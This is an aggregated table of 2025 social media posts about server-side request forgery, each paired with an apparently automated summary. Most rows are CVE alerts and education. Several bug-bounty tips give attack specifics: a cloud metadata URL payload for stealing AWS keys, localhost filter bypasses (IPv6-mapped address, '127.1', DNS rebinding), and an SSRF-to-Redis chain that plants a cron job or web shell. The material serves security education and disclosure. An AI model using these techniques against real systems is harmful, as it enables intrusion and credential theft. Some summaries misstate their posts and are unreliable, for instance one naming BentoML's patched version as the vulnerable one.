| 2025-07-30 2025 | #CVE-2025-54381 | BentoML - Unauthenticated SSRF (Critical) #BentoML versions 1.4.0 to 1.4.18 are vulnerable to an unauthenticated Server-Side Request Forgery (#SSRF) due to improper validation of user-provided URLs in file upload handlers. This allows attackers to force the news | BentoML versions 1.4.0 to 1.4.18 have a critical unauthenticated SSRF vulnerability (#CVE-2025-54381) due to inadequate validation of user-provided URLs in file upload handlers. Attackers can exploit this flaw to trigger SSRF. |
| 2025-07-30 2025 | CVE-2025-54381: Critical SSRF in BentoML BentoML is an open-source Python framework to package & deploy ML models as APIs. Versions 1.4.19 let attackers trigger internal HTTP requests via uploads. Patch now! #CVE202554381 #BentoML #SSRF #Python #MachineLearning #AI #MLOps news | A critical Server-Side Request Forgery (SSRF) vulnerability (CVE-2025-54381) has been identified in BentoML, an open-source Python framework for deploying ML models as APIs. Attackers can exploit version 1.4.19 to trigger internal HTTP requests through uploads. It is crucial to apply the patch immediately to mitigate this security risk. #BentoML #SSRF #Python #MachineLearning #AI #MLOps. |
| 2025-07-30 2025 | A critical SSRF vulnerability in BentoML's file upload handling allows unauthenticated remote attackers to perform internal network reconnaissance and steal cloud metadata credentials from AI applications. #BentoML #SSRF #AISecurity #CVE #Cybersecurity news | A serious SSRF vulnerability in BentoML's file upload feature enables unauthenticated remote attackers to conduct internal network reconnaissance and extract cloud metadata credentials from AI applications. This flaw poses a significant security risk and highlights the importance of addressing vulnerabilities promptly to prevent unauthorized access and data breaches. #BentoML #SSRF #AISecurity #CVE #Cybersecurity |
| 2025-07-28 2025 | HIGH-severity SSRF flaw in ssrfcheck 1.2.0 lets attackers target multicast IPs! Update now to stay secure. #OffSeq #SSRF #infosec news | A high-severity SSRF flaw in ssrfcheck 1.2.0 allows attackers to target multicast IPs. It is crucial to update to the latest version for security. Stay secure by taking immediate action to address this vulnerability. #OffSeq #SSRF #infosec. |
| 2025-07-28 2025 | Salesforce patched eight critical flaws in Tableau Server including RCE database exposure and SSRF vulnerabilities urging users to update immediately. #TableauServer #SalesforceSecurity #RCE #SSRF #CybersecurityAlert securityonline.info/rce-ssrf-data- news | Salesforce addressed eight critical vulnerabilities in Tableau Server, such as RCE, database exposure, and SSRF issues, advising users to promptly update their systems. This urgent security alert highlights the importance of staying protected against cyber threats. #TableauServer #SalesforceSecurity #RCE #SSRF #CybersecurityAlert. |
| 2025-07-27 2025 | Critical SSRF vuln (CVE-2025-8228) found in ChanCMS = 3.1.2! Attackers can exploit targetUrl for unauthorized access to internal server resources. Protect your systems: UPDATE to v3.1.3 immediately! #CyberSecurity #Vulnerability #SSRF tenable.com/cve/CVE-2025-8 news | A critical SSRF vulnerability (CVE-2025-8228) was discovered in ChanCMS version 3.1.2, allowing attackers to exploit the 'targetUrl' and gain unauthorized access to internal server resources. It is crucial to update to version 3.1.3 immediately to protect systems. The vulnerability poses a significant risk to cybersecurity and highlights the importance of staying vigilant against such threats. More information can be found at tenable.com/cve/CVE-2025-8. |
| 2025-07-24 2025 | Ethical Disclaimer This content is provided for educational purposes only. Do not test or exploit any system without explicit permission. #BugBounty #XSS #SSRF #CyberSecurity #FilterBypass #PayloadCrafting #WebAppSecurity #EthicalHacking #InfoSecEducation #RedTeam beginner | The content serves educational purposes only, cautioning against testing or exploiting systems without permission. It includes hashtags related to cybersecurity topics like Bug Bounty, XSS, SSRF, Filter Bypass, Payload Crafting, Web App Security, Ethical Hacking, InfoSec Education, and Red Team. The ethical disclaimer emphasizes responsible behavior in the realm of cybersecurity and hacking practices. |
| 2025-07-23 2025 | CISA Warns: SysAid Flaws Under Active Attack Enable Remote File Access and SSRF news 1 min read | Writeup on CISA's warning regarding active exploitation of SysAid IT support software. The vulnerabilities, CVE-2025-2775 and CVE-2025-2776, are improper XML external entity (XXE) reference flaws enabling administrator account takeover, file reading, and SSRF. These can be chained with CVE-2024-36394 for remote code execution. SysAid addressed these in on-premise version 24.4.60 build 16. → thehackernews.com |
| 2025-07-23 2025 | New #CVE Record: CVE-2025-8020 All #Snyk versions of the package private-ip are #vulnerable to Server-Side Request Forgery (#SSRF) where an attacker can provide an IP or #hostname that resolves to a #multicast IP address (224.0.0.0/4) which is not included as part of the private news | The content discusses a new CVE record, CVE-2025-8020, indicating that all Snyk versions of the package private-ip are vulnerable to Server-Side Request Forgery (SSRF). This vulnerability allows an attacker to input an IP or hostname that resolves to a multicast IP address (224.0.0.0/4), not included in the private IP range. This poses a security risk. |
| 2025-07-23 2025 | A critical unauthenticated SSRF vulnerability (CVE-2025-54122 CVSS 10.0) in Manager's accounting software allows bypassing network isolation and exfiltrating sensitive data from cloud environments. #Managerio #SSRF #Cybersecurity #CloudHack #Accounting news | A severe unauthenticated SSRF vulnerability (CVE-2025-54122, CVSS 10.0) in Manager's accounting software enables circumventing network isolation and extracting sensitive data from cloud environments. This flaw poses a significant cybersecurity risk and highlights the importance of addressing vulnerabilities promptly to prevent potential data breaches. #Managerio #SSRF #Cybersecurity #CloudHack #Accounting |
| 2025-07-22 2025 | App blocks 127.0.0.1? Cool. Register a domain pointing to it Use a DNS rebinding service like: Custom NS server A record to 127.0.0.1 Then call: App thinks its external. #bugbounty #ssrf intermediate | The content discusses a technique to bypass an app blocking 127.0.0.1 by registering a domain pointing to it and using a DNS rebinding service. By setting up a custom NS server with an A record to 127.0.0.1, the app can be tricked into thinking the connection is external. This method is suggested for bug bounty and SSRF (Server-Side Request Forgery) purposes. |
| 2025-07-22 2025 | CRITICAL SSRF in Manager-io Manager! Unauthenticated attackers can access internal data. Patch to 25.7.21.2525 ASAP. #OffSeq #SSRF #CyberSecurity news | A critical Server-Side Request Forgery (SSRF) vulnerability in Manager-io Manager allows unauthenticated attackers to access internal data. It is advised to patch the system to version 25.7.21.2525 immediately to mitigate the risk. This vulnerability poses a serious threat to cybersecurity and highlights the importance of timely updates and vigilance against SSRF attacks. #OffSeq #SSRF #CyberSecurity. |
| 2025-07-20 2025 | SSRF = Server-Side Request Forgery Target makes HTTP request on your behalf. Try: url= url= Sometimes it leads to AWS keys. #ssrf #BugBounty #infosec beginner | SSRF (Server-Side Request Forgery) involves a target making HTTP requests on your behalf, potentially exposing AWS keys. This vulnerability is commonly targeted in Bug Bounty programs and falls under the realm of information security. The content emphasizes the risks associated with SSRF and encourages further exploration of the topic through provided URLs and hashtags. |
| 2025-07-19 2025 | SSRF Vulnerability Internal Port Scanning & Non-sensitive File Read Bypassed with: http://[0:0:0:0:0:ffff:127.0.0.1] (Localhost IPv6-mapped IPv4) #BugBounty #ssrf intermediate | The content discusses a security vulnerability known as SSRF (Server-Side Request Forgery) where internal port scanning and non-sensitive file reading were bypassed using a specific URL format: http://[0:0:0:0:0:ffff:127.0.0.1]. This URL represents a localhost IPv6-mapped IPv4 address. The post highlights this bypass technique in the context of a Bug Bounty program. |
| 2025-07-17 2025 | eWPTX 3 months Premium: $299.50 (50% off) Advanced blind #SQLinjection techniques DOM-based #XSS exploitation Server-side request forgery (#SSRF) chains And more! Hands-on training that separates script kiddies from security pros. advanced | Get eWPTX certification plus 3 months Premium access for $299.50 (50% off). The course covers advanced blind SQL injection techniques, DOM-based XSS exploitation, SSRF chains, and more. It offers hands-on training to distinguish between amateurs and security professionals. |
| 2025-07-17 2025 | eWPTX 3 months Premium: $299.50 (50% off) Advanced blind #SQLinjection techniques DOM-based #XSS exploitation Server-side request forgery (#SSRF) chains And more! Hands-on training that separates script kiddies from security pros. advanced | Get eWPTX with 3 months Premium for $299.50 (50% off). The course covers advanced blind SQL injection techniques, DOM-based XSS exploitation, SSRF chains, and more. It offers hands-on training to distinguish script kiddies from security professionals. |
| 2025-07-17 2025 | eWPTX 3 months Premium: $299.50 (50% off) Advanced blind #SQLinjection techniques DOM-based #XSS exploitation Server-side request forgery (#SSRF) chains And more! Hands-on training that separates script kiddies from security pros. advanced | Get eWPTX with 3 months Premium for $299.50 (50% off). The training covers advanced blind SQL injection techniques, DOM-based XSS exploitation, SSRF chains, and more. It aims to distinguish security professionals from amateurs. |
| 2025-07-16 2025 | Just dropped a banger: How I Used SSRF to Gain Admin Access Thread or blog your call Medium: Substack (free): #bugbounty #infosec #cybersecurity #ethicalhacking #ssrf #websecurity intermediate | The content discusses using Server-Side Request Forgery (SSRF) to gain admin access, shared as a thread or blog post. It is available on Medium and Substack for free. The focus is on bug bounty, infosec, cybersecurity, ethical hacking, SSRF, and web security. The post highlights the author's success in utilizing SSRF for gaining admin privileges. |
| 2025-07-14 2025 | All about SSRF !! Different ways to test SSRF #ssrf #cybersecurity #BugBounty #Security #vulnerability beginner | The content discusses Server-Side Request Forgery (SSRF) and various methods to test for it, emphasizing its relevance in cybersecurity, bug bounty programs, and vulnerability assessments. It provides insights into identifying and mitigating SSRF risks, highlighting the importance of understanding and addressing this security issue. The content aims to educate readers on the significance of SSRF testing in enhancing system security and protecting against potential exploits. |
| 2025-07-12 2025 | Blind SSRF via Burp Collaborator 1 App fetches URLs (PDF gen webhook etc.) 2 Send URL pointing to Burp Collaborator 3 No visible response but OAST logs the request 4 Confirms SSRF vulnerability No output no bug #bugbounty #ssrf #burp #oast intermediate | The content discusses a method for exploiting a Blind SSRF vulnerability using Burp Collaborator. It involves sending URLs to Burp Collaborator through an application that fetches URLs like PDF generation or webhooks. Despite no visible response, the Out-of-Band Application Security Testing (OAST) logs the request, confirming the SSRF vulnerability. The key takeaway is that even if there is no visible output, the presence of an SSRF vulnerability should not be overlooked. This information is relevant for bug bounty hunters and those interested in web security testing. |
| 2025-07-09 2025 | Kicked things off by finding an Blind SSRF vulnerability unfortunately it turned out to be a duplicate. Still it feels great to be back in the game. Hoping for better luck ahead! #BugBounty #SSRF #Cybersecurity #HackerLife beginner | The content describes finding a Blind SSRF vulnerability, only to discover it was a duplicate. Despite this setback, the individual is excited to be back in the cybersecurity game and is hopeful for better opportunities in the future. The post includes hashtags related to Bug Bounty, SSRF, Cybersecurity, and Hacker Life. |
| 2025-07-09 2025 | A10:2021 Server-Side Request Forgery (SSRF) Attackers trick your server into making requests to unintended internal or external resources. Be careful where your server is reaching out! #SSRF #NetworkSecurity beginner | A10:2021 highlights Server-Side Request Forgery (SSRF) attacks where attackers manipulate servers to make unauthorized requests. It warns about the risks of servers accessing unintended internal or external resources. The importance of vigilance in monitoring server connections is emphasized for maintaining network security. #SSRF #NetworkSecurity. |
| 2025-07-07 2025 | SSRF (Server-Side Request Forgery) lets attackers trick a server into making requests to internal or external systems. Can expose internal data & services. Always validate user-supplied URLs. #SSRF #CyberSecurity #BugBounty beginner | SSRF allows attackers to manipulate servers to make unauthorized requests to internal or external systems, risking exposure of sensitive data. To prevent this, it's crucial to validate user-provided URLs to mitigate SSRF vulnerabilities. This practice enhances cybersecurity and is essential for bug bounty programs. #SSRF #CyberSecurity #BugBounty |
| 2025-07-06 2025 | Understanding #SSRF: Abusing Server Trust from the Inside Out blog.sucuri.net/2025/06/unders beginner | The content discusses Server-Side Request Forgery (SSRF) attacks, focusing on exploiting server trust from within the system. It highlights the risks associated with SSRF attacks and how attackers can manipulate servers to access sensitive information or perform malicious actions. The article aims to increase awareness about SSRF vulnerabilities and the importance of securing servers to prevent such attacks. It provides insights into how attackers can abuse server trust and offers guidance on mitigating these risks to enhance cybersecurity measures. |
| 2025-07-06 2025 | Breaking down a SSRF bypass using open redirect chaining reveals how trusting external redirects can lead to internal network scans and access to sensitive data. Proper validation and allowlisting are key to prevention. #OpenRedirect #SSRF intermediate | The content discusses how combining SSRF bypass with open redirect chaining can lead to internal network scans and unauthorized access to sensitive data. It emphasizes the risks of trusting external redirects and highlights the importance of implementing proper validation and allowlisting to prevent such security breaches. The post underscores the significance of addressing vulnerabilities related to open redirects and SSRF to safeguard against potential exploitation. |
| 2025-07-06 2025 | Class Complete! Yesterday we wrapped up an epic session on SSRF exploitation including payloads live demos and real-world tricks. Wanna fly with us together from the Next Class? Call/Message Us 91-8790407216 Email beginner | The content highlights the completion of a session on SSRF exploitation with demonstrations of payloads and real-world tricks. It invites participation in the next class and provides contact information for inquiries: call/message +91-8790407216 or email. |
| 2025-07-04 2025 | Just dropped a new write-up in my Power Platform research series. This time? OneNote token leakage. Yep its still exploitable. Nope its not getting fixed. Read it on Zenity Labs: Enjoy the read #SSRF #PowerPlatform #OneNote #MSRC #ZenityLabs advanced | A new write-up in the Power Platform research series discusses OneNote token leakage, highlighting that the issue is still exploitable and won't be fixed. The content can be found on Zenity Labs. The post mentions hashtags like #SSRF, #PowerPlatform, #OneNote, #MSRC, and #ZenityLabs. |
| 2025-07-03 2025 | Excited to start my WebHacking journey with @HackingHub_io! Ready to learn grow and hack some web apps! #BugBounty #EthicalHacking #NahamSec #WebSecurity #HackingHub #Infosec #CyberSecurity #BugBountyTips #XSS #SSRF #CTF #Pentesting #HackThePlanet beginner | The content expresses excitement about starting a web hacking journey with @HackingHub_io to learn, grow, and hack web apps. It mentions hashtags related to bug bounty, ethical hacking, web security, infosec, cybersecurity, bug bounty tips, XSS, SSRF, CTF, pentesting, and hacking the planet. The individual is eager to engage in activities related to cybersecurity and hacking, showcasing enthusiasm for exploring these fields. |
| 2025-07-03 2025 | New Writeup Alert! "One SSRF to Rule Them All" by Ott3rly is now live on IW! Check it out here: #cybersecurity #informationsecurity #bugbounty #bugbountywriteup #ssrf beginner | A new writeup titled "One SSRF to Rule Them All" by Ott3rly is now available on IW. The content focuses on cybersecurity, information security, bug bounty programs, and SSRF vulnerabilities. Readers are encouraged to check out the writeup for insights and information on this topic. #cybersecurity #informationsecurity #bugbounty #bugbountywriteup #ssrf. |
| 2025-07-02 2025 | New video alert! We walk you through an SSRF vulnerability exploited step-by-step to achieve RCE. Practical detailed and perfect for pentesters & bug bounty hunters! Video: #Cybersecurity #SSRF #RCE #BugBounty intermediate | A new video demonstrates exploiting an SSRF vulnerability to achieve Remote Code Execution (RCE) in a step-by-step guide, ideal for pentesters and bug bounty hunters. The video provides practical and detailed insights into the process. It focuses on cybersecurity, SSRF, RCE, and bug bounty topics. |
| 2025-07-02 2025 | Ever wondered how attackers exploit SSRF to access internal systems? Our latest article breaks it all downtools techniques and mitigation strategies. Read now: #SSRF #CyberSecurity #RedTeamOps #Infosec #CyberWarFareLabs #Article #SecurityResearch intermediate | The content discusses how attackers exploit Server-Side Request Forgery (SSRF) to access internal systems, detailing tools, techniques, and mitigation strategies. The article provides insights into SSRF vulnerabilities and ways to protect against them. It is relevant for those interested in cybersecurity, Red Team Operations, and security research. The link provided directs readers to the full article for further information. |
| 2025-06-28 2025 | Server-Side Bugs That Pay Big SSRF (internal request abuse) SSTI (template injection) XXE (XML Entity Injection) Log4Shell-style payloads Blind bugs with Burp Collaborator Quiet bugs massive impact. #BugBounty #SSRF #EthicalHacking #bugbountytip beginner | The content discusses lucrative server-side bugs like SSRF, SSTI, XXE, Log4Shell-style payloads, and blind bugs with Burp Collaborator. These vulnerabilities can have a significant impact and are valuable for bug bounty programs and ethical hacking. Emphasizing the importance of identifying and addressing these issues, the post highlights their potential for exploitation and the need for vigilance in cybersecurity. |
| 2025-06-28 2025 | Live SSRF Demo at Cubeesec Weekly Class! Internal IPs? Metadata? IAM tokens? All exposed in seconds. We dont teach theorywe attack it. Wanna Join Us: 91 8790407216 cubeesec.group@gmail.com cubeesec.com (Coming Soon) #SSRF #cybersecurity #cubeesec intermediate | Cubeesec is offering a live SSRF demo showcasing the exposure of internal IPs, metadata, and IAM tokens within seconds. They focus on practical attacks rather than theory in their classes. Contact details for joining include a phone number, email, and website. The demonstration aims to highlight cybersecurity vulnerabilities and techniques. |
| 2025-06-27 2025 | Understanding Server Side Request Forgery (SSRF) is crucial for web security! By validating inputs whitelisting domains and monitoring requests we can mitigate risks and protect sensitive data. Let's stay vigilant! #CyberSecurity #SSRF @VisakhVijayan beginner | Understanding Server Side Request Forgery (SSRF) is vital for web security. Mitigate risks by validating inputs, whitelisting domains, and monitoring requests to protect sensitive data. Stay vigilant to enhance cybersecurity. #SSRF #CyberSecurity. |
| 2025-06-27 2025 | Unauthenticated SSRF Vulnerability in Octo STS - CVE-2025-52477. Update to version 0.5.3 or later to protect against SSRF attacks and safeguard sensitive data. Read more: #SSRF #CVE202552477 #CyberSecurity #Vulert #PatchNow news | An unauthenticated SSRF vulnerability (CVE-2025-52477) in Octo STS is identified. To safeguard sensitive data, update to version 0.5.3 or later. Protect against SSRF attacks by applying the patch promptly. Stay informed about cybersecurity threats and vulnerabilities. #SSRF #CVE202552477 #CyberSecurity #Vulert #PatchNow. |
| 2025-06-25 2025 | we exploited an SSRF vulnerability leading to internal port enumeration. Watch our deep dive and walkthrough: youtu.be/wjQrAsQgL2c #BugBounty #hackerone #BugBountytips #CyberSecurity #ssrf intermediate | The content discusses exploiting a Server-Side Request Forgery (SSRF) vulnerability to perform internal port enumeration. A deep dive and walkthrough of the exploit are provided in a video linked at youtu.be/wjQrAsQgL2c. The post includes hashtags related to Bug Bounty, HackerOne, Bug Bounty tips, Cybersecurity, and SSRF. The focus is on demonstrating the exploitation of the vulnerability for educational and security awareness purposes. |
| 2025-06-25 2025 | Just solved another @theXSSrat lab! This time we exploited an SSRF vulnerability leading to internal port enumeration. Watch our deep dive and walkthrough: youtu.be/wjQrAsQgL2c More lab solutions coming soon stay tuned! #SSRF #Cybersecurity #BugBounty intermediate | A cybersecurity enthusiast successfully exploited an SSRF vulnerability in an @theXSSrat lab, showcasing internal port enumeration. A deep dive and walkthrough video of the exploit is available at youtu.be/wjQrAsQgL2c. More lab solutions are on the way, so followers are encouraged to stay tuned for updates. The post highlights the importance of SSRF awareness in cybersecurity and bug bounty hunting. |
| 2025-06-24 2025 | SSRF XSS via PDF Generator 1 App accepts user URLs renders them to PDF (server-side) 2 Attacker hosts HTML with 3 App fetches malicious page and renders it 4 PDF preview opens with embedded JS SSRF turns into stored XSS #bugbounty #ssrf intermediate | The content discusses a security vulnerability where a PDF generator application accepts user URLs, rendering them to PDF server-side. An attacker can exploit this by hosting malicious HTML, tricking the app to fetch and render it, leading to a PDF preview with embedded JavaScript. This vulnerability allows Server-Side Request Forgery (SSRF) to escalate into Stored Cross-Site Scripting (XSS). The issue is highlighted for bug bounty purposes. |
| 2025-06-23 2025 | Weekly Security Sync Complete! This week we dived into the process approach & working of SSRF (Server-Side Request Forgery) No charges just pure knowledge! Call/Message Us 91-8790407216 Email cubeesec.group@gmail.com #ssrf #infosec #bugbounty beginner | The content highlights the completion of the Weekly Security Sync focusing on SSRF (Server-Side Request Forgery), offering knowledge without charges. Contact details for further information are provided. The post emphasizes the importance of understanding SSRF in the context of information security and bug bounty programs. |
| 2025-06-23 2025 | Weekly Security Sync Complete! This week we dived into the process approach & working of SSRF (Server-Side Request Forgery) No charges just pure knowledge! 91-8790407216 cubeesec.group@gmail.com #cybersecurity #ssrf #infosec #bugbounty beginner | The content discusses the completion of the weekly security sync focusing on SSRF (Server-Side Request Forgery). It emphasizes sharing knowledge without any charges, providing contact information for further inquiries. The post includes hashtags related to cybersecurity, SSRF, infosec, and bug bounty. The main points are the exploration of SSRF processes, approach, and operations, along with contact details for cubeesec.group. |
| 2025-06-22 2025 | SSRF via Image URL Upload 1 App fetches metadata from user-supplied image URLs 2 Payload: http://169(.)254(.)xx.xx/latest/meta-data/ 3 No outbound request filtering 4 Internal AWS metadata leaked Image URL Internal network access #bugbounty #ssrf intermediate | The content discusses a security vulnerability known as SSRF (Server-Side Request Forgery) through image URL upload. Key points include an app fetching metadata from user-supplied image URLs, a payload example leading to internal AWS metadata leakage, lack of outbound request filtering, and the risk of granting internal network access through image URLs. The post highlights the potential for exploiting this vulnerability for bug bounty rewards and includes relevant hashtags. |
| 2025-06-21 2025 | This is how top hunters earn $500 $1K even $5K per bug. #BugBounty #ReconTips #XSS #SSRF #IDOR #AssetDiscovery #WebSecurity #InfoSec #EthicalHacking #RedTeam #HackerWorkflow beginner | Top hunters in bug bounty programs can earn significant rewards, ranging from $500 to $5K per bug. They utilize various techniques like ReconTips, XSS, SSRF, IDOR, AssetDiscovery, and focus on WebSecurity, InfoSec, EthicalHacking, RedTeam, and HackerWorkflow. These experts leverage their skills to identify vulnerabilities and report them to organizations for rewards. |
| 2025-06-20 2025 | SSRF: Server-Side Request Forgery Trick the server into calling internal services for you. Simple trick massive damage. Bypass firewalls Access internal IPs Steal cloud metadata #SSRF #cybersecurity #bugbounty #websecurity #cloudsecurity #ethicalhacking #infosec beginner | The content discusses SSRF (Server-Side Request Forgery), a technique to trick servers into accessing internal services, potentially causing significant damage. It highlights the ability to bypass firewalls, access internal IPs, and steal cloud metadata. The post emphasizes the seriousness of SSRF in cybersecurity, bug bounty programs, web security, cloud security, ethical hacking, and information security. The content warns about the risks associated with SSRF and the importance of safeguarding against such vulnerabilities. |
| 2025-06-19 2025 | Day 43: CSRF SSRF & Clickjacking Attacks Security is often broken not by what users do but by what their browsers or servers are tricked into doing. Todays deep dive covered 3 trust-based web attacks #CyberSecurity #WebSecurity #CSRF #SSRF #Clickjacking beginner | The content discusses CSRF, SSRF, and Clickjacking attacks, highlighting that security breaches often occur due to actions tricked browsers or servers take, rather than user actions. The focus is on trust-based web attacks, emphasizing the importance of cybersecurity measures. The post aims to raise awareness about these threats and their implications for web security. |
| 2025-06-19 2025 | Open Next for Cloudflare SSRF Vulnerability Let Attackers Load Remote Resources from Arbitrary Hosts news 2 min read | Library vulnerability CVE-2025-6087, a high-severity SSRF in `@opennextjs/cloudflare` prior to 1.3.0, allows unauthenticated attackers to load remote resources from arbitrary hosts via the `/_next/image` endpoint. Exploiting this CWE-918 flaw, attackers can proxy malicious content through victim domains, enabling phishing and internal service exposure. Cloudflare has implemented server-side mitigations, and users are advised to upgrade to `@opennextjs/cloudflare@1.3.0` and configure `remotePatterns` in Next.js. → cybersecuritynews.com |
| 2025-06-19 2025 | Open Next SSRF Flaw in Cloudflare Lets Hackers Fetch Data from Any Host news 2 min read | Writeup of CVE-2025-6087, an SSRF flaw in the @opennextjs/cloudflare package. This vulnerability allows unauthenticated attackers to proxy arbitrary remote content through a victim's website domain by exploiting an unimplemented safeguard in the `/`_next`/`image` endpoint. Versions prior to 1.3.0 of the Open Next Cloudflare adapter were affected. Cloudflare has deployed platform-level updates, and operators should upgrade the adapter and consider using the `remotePatterns` filter. → gbhackers.com |
| 2025-06-19 2025 | @yousukezan . This causes content controlled by the attacker () to be served through the victim's domain (). #SSRF #SecurityFlaw intermediate | The content discusses a security flaw known as Server-Side Request Forgery (SSRF), where an attacker can manipulate a server to serve content through a victim's domain. This poses a risk as the attacker can control the content being served. The tweet mentions @yousukezan and includes a link for more information on the SSRF vulnerability. |
| 2025-06-19 2025 | A critical SSRF flaw (CVE-2025-6087) in @opennextjs/cloudflare allows unauthenticated users to proxy arbitrary remote content via /_next/image endpoint. Update to v1.3.0. #SSRF #Cloudflare #NextJS #Cybersecurity #Vulnerability news | A critical SSRF flaw (CVE-2025-6087) in @opennextjs/cloudflare enables unauthenticated users to proxy remote content via /_next/image endpoint. Update to v1.3.0 to address the vulnerability. #SSRF #Cloudflare #NextJS #Cybersecurity. |
| 2025-06-18 2025 | Finding SSRFs in Azure DevOps - Part 2 #SSRF #AzureDevOps #AzureSecurity #DNSRebinding #SourceCodeDebugging binsec.no/posts/2025/05/ intermediate | The content discusses the identification of Server-Side Request Forgery (SSRF) vulnerabilities in Azure DevOps, focusing on Azure Security, DNS Rebinding, and Source Code Debugging. It is part 2 of a series and provides insights into detecting SSRFs within Azure DevOps environments. The article can be found on binsec.no/posts/2025/05/. |
| 2025-06-18 2025 | SSRF via PDF Generator 1 App fetches URLs to generate PDFs (e.g. invoices reports) 2 Attacker supplies internal URL (e.g. http://localhost/admin) 3 PDF engine fetches it server-side 4 Leaks internal content in rendered PDF SSRF data exposure #bugbounty #ssrf intermediate | The content discusses a security vulnerability known as Server-Side Request Forgery (SSRF) via a PDF Generator app. The vulnerability allows an attacker to supply internal URLs, which the PDF engine fetches server-side, leading to the leakage of internal content in the generated PDFs. This SSRF issue results in data exposure. The post highlights the risk posed by this vulnerability and suggests it as a target for bug bounty programs. |
| 2025-06-16 2025 | 4 #GeoServer 2.24.4 and 2.25.2 vulnerable to #SSRF via demo request if Proxy Base URL unset. Update to stay protected (Reference: CVE-2024-29198) news | GeoServer versions 2.24.4 and 2.25.2 are susceptible to Server-Side Request Forgery (SSRF) attacks through demo requests when the Proxy Base URL is not set. To mitigate this vulnerability, users are advised to update their GeoServer installations. The reference for this issue is CVE-2024-29198. |
| 2025-06-15 2025 | Hunting for SSRF? Try manipulating URLs in your app (think image uploads webhooks) to target internal IPs (127.0.0.1 192.168.x.x). See if the server leaks internal info or allows unauthorized actions! #SSRF #WebSecurity beginner | The content discusses hunting for Server-Side Request Forgery (SSRF) vulnerabilities by manipulating URLs in applications to target internal IPs like 127.0.0.1 and 192.168.x.x. This can reveal if the server leaks internal information or allows unauthorized actions. The focus is on testing web security by exploiting potential SSRF issues related to image uploads and webhooks. #SSRF #WebSecurity. |
| 2025-06-14 2025 | URL schemes: Not all links are http:// or https:// Some can be dangerous #URL #BugBounty #BugBountytips #XSS #SSRF #OpenRedirect beginner | The content discusses URL schemes, highlighting that not all links are safe with the common http:// or https:// prefixes. Some URLs can be dangerous, posing risks such as XSS, SSRF, and Open Redirect vulnerabilities. The post emphasizes the importance of being cautious with URLs and understanding potential security threats associated with different URL schemes. It also suggests that users should be vigilant, especially in the context of Bug Bounty programs. |
| 2025-06-14 2025 | SSRF Hunting 101: Can you trick a server into making requests for you? Look for URLs or endpoints that accept URLs as input. Try local IPs (127.0.0.1) internal services or metadata endpoints. #SSRF #WebSec beginner | The content discusses SSRF (Server-Side Request Forgery) hunting by tricking a server into making requests for the attacker. It suggests looking for URLs or endpoints that accept URLs as input, trying local IPs like 127.0.0.1, internal services, or metadata endpoints. The focus is on exploiting vulnerabilities to manipulate servers into making unauthorized requests. The content also includes hashtags related to SSRF and Web Security. |
| 2025-06-13 2025 | #ThreatProtection #CVE-2025-4123 #Grafana #XSS and Full-Read #SSRF #vulnerability read more about Symantec's protection: broadcom.com/support/securi news | The content highlights a vulnerability related to Grafana, specifically XSS and SSRF, identified as CVE-2025-4123. It suggests learning more about Symantec's protection measures for this threat by visiting broadcom.com/support/security. The post emphasizes the importance of threat protection and directs readers to further information on safeguarding against these vulnerabilities. |
| 2025-06-13 2025 | Good old 127.1 #ssrf beginner | The content mentions "Good old 127.1" and includes the hashtag #ssrf and a link (https://ift.tt/c6F4K0p). The term "127.1" is often used to refer to the loopback address in networking (127.0.0.1). The hashtag #ssrf could be related to Server-Side Request Forgery, a type of vulnerability. The link provided may lead to further information or resources related to these topics. |
| 2025-06-11 2025 | Beware of the silent danger - SSRF! It can turn your own server into a weapon against you! Understand its mechanisms and secure your network. Stay informed about this #OWASP Top 10 vulnerability! #WebSecurity #SSRF beginner | The content warns about SSRF, a silent danger that can make your server a weapon against you. Understanding SSRF mechanisms is crucial to secure your network. Stay informed about this OWASP Top 10 vulnerability to enhance web security and protect against SSRF attacks. #WebSecurity #SSRF. |
| 2025-06-11 2025 | Apache Kafka Arbitrary File Read and SSRF Vulnerability (CVE-2025-27817) news 2 min read | Analysis of CVE-2025-27817, an arbitrary file read and SSRF vulnerability affecting Apache Kafka versions 3.1.0 through 3.9.0. This flaw allows unauthenticated attackers to exploit insecure input validation in the Kafka client to access environment variables or arbitrary disk content via the REST API, or direct requests to unintended locations. Mitigation involves upgrading to Kafka 3.9.1 or later, or implementing temporary measures like filtering sensitive file paths in requests or restricting access to Kafka Connect instances. → securityboulevard.com |
| 2025-06-11 2025 | SSRF Redis RCE 1 App fetches URLs from user input (no whitelist) 2 Attacker targets (Redis) 3 Sends payload to write cron job or web shell 4 Redis accepts raw commands code execution SSRF open Redis = full server pwn #bugbounty #ssrf #rce intermediate | The content discusses a security vulnerability known as SSRF leading to Redis Remote Code Execution (RCE). The vulnerability arises from an application fetching URLs from user input without a whitelist. An attacker can exploit this by targeting Redis, sending a payload to execute commands like writing a cron job or web shell. Since Redis accepts raw commands, this can lead to code execution. The combination of SSRF and an open Redis server can result in a full server compromise. The post highlights the severity of the bug and mentions relevant hashtags like #bugbounty, #ssrf, and #rce. |
| 2025-06-10 2025 | Magoo a Python-based tool for SSRF (Server-Side Request Forgery) vulnerability hunting and unauthorized port scanning. github.com/JoshuaProvoste #BugBounty #Hacking #SSRF intermediate | Magoo is a Python tool designed for finding SSRF vulnerabilities and conducting unauthorized port scanning. It is available on GitHub under the username JoshuaProvoste. The tool is useful for Bug Bounty programs and hacking activities related to SSRF. It can assist in identifying security weaknesses in web applications by testing for SSRF vulnerabilities and scanning for open ports without authorization. |
| 2025-06-10 2025 | SSRF attacks simplified. This post breaks down how attackers target EC2 metadata and how to stay a step ahead. Cyber doesnt have to feel complicated. Follow @Cytrusst for weekly security insights that just make sense. #CyberSecurity #CloudSecurity #SSRF #Infosec #Cytrusst beginner | This content simplifies SSRF attacks, explaining how attackers target EC2 metadata and how to prevent them. It emphasizes making cybersecurity less complex. Follow @Cytrusst for straightforward security insights. Key hashtags: #CyberSecurity #CloudSecurity #SSRF #Infosec #Cytrusst. |
| 2025-06-09 2025 | Found a critical SSRF during a pentest. PDF export accepted raw HTML so I injected an intermediate | A critical Server-Side Request Forgery (SSRF) vulnerability was discovered during a penetration test. The vulnerability was found in a PDF export feature that accepted raw HTML input, allowing for injection of malicious code. |
| 2025-06-09 2025 | @_curious_Dev_ Great question! Input validation & whitelisting are key first steps. Also consider using a proxy server to control outbound requests and limit access to internal resources. #SSRF #webappsecurity intermediate | The content emphasizes the importance of input validation, whitelisting, and using a proxy server for web application security. These measures help prevent security vulnerabilities like Server-Side Request Forgery (SSRF) by controlling outbound requests and limiting access to internal resources. By implementing these steps, developers can enhance the security of their web applications. |
